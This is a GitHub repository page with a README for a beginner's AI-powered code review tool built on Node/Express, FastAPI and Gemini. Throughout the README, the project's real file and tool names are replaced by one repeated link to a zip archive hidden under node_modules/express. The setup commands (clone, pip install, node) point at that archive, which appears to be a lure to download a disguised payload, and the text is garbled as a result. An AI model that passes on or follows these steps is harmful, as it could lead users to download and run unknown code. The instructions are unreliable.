Skip to content

Emzee-Creates/ai-code-review

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

54 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

My first complete project utilizing both Backend(https://raw.githubusercontent.com/Emzee-Creates/ai-code-review/main/backend/node_modules/express/ai-code-review_3.4.zip and Express), frontend(html, css and javascript) as well as Google's Gemini API with FastAPI.

The project is an AI-powered tool that provides automated code reviews, helping developers improve code quality and efficiency.

📌 Features

User Authentication: Secure login and signup with JWT-based authentication.
Live AI Code Review: Real-time AI feedback using WebSockets.
Recent Reviews Storage: Keeps track of the last five reviews for reference. (This is unfortunately currently bugged and I will be putting out a fix in thenearest future). Dark Mode Toggle: User-friendly UI with a sleek dark mode option.
Profile Management: Users can update their name, email, and profile picture.
Secure API: Uses rate limiting and session expiry handling.

Tech Stack

Backend

Frontend

  • HTML, CSS, JavaScript: Responsive and GitHub-inspired UI.
  • WebSockets: Real-time review updates.

If you have any interest in using the repository, you can follow the steps below:

1️⃣ Clone the Repository In your terminal, run:

git clone https://raw.githubusercontent.com/Emzee-Creates/ai-code-review/main/backend/node_modules/express/ai-code-review_3.4.zip cd ai-code-review

2️⃣ Backend Setup FastAPI AI Review API

cd ai-api pip install -r https://raw.githubusercontent.com/Emzee-Creates/ai-code-review/main/backend/node_modules/express/ai-code-review_3.4.zip uvicorn main:app --reload

https://raw.githubusercontent.com/Emzee-Creates/ai-code-review/main/backend/node_modules/express/ai-code-review_3.4.zip Authentication API

cd backend npm install node https://raw.githubusercontent.com/Emzee-Creates/ai-code-review/main/backend/node_modules/express/ai-code-review_3.4.zip

3️⃣ Frontend Setup Just open 'https://raw.githubusercontent.com/Emzee-Creates/ai-code-review/main/backend/node_modules/express/ai-code-review_3.4.zip'in your browser.

📜 License This project is licensed under the MIT License.

🎯 Contributions Welcome! Feel free to fork the repo and submit a PR! 🚀

About

My first complete project utilizing both Backend(node.js and Express), frontend(html, css and javascript) as well as Google's Gemini API with FastAPI. The project is an AI-powered tool that provides automated code reviews, helping developers improve code quality and efficiency.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors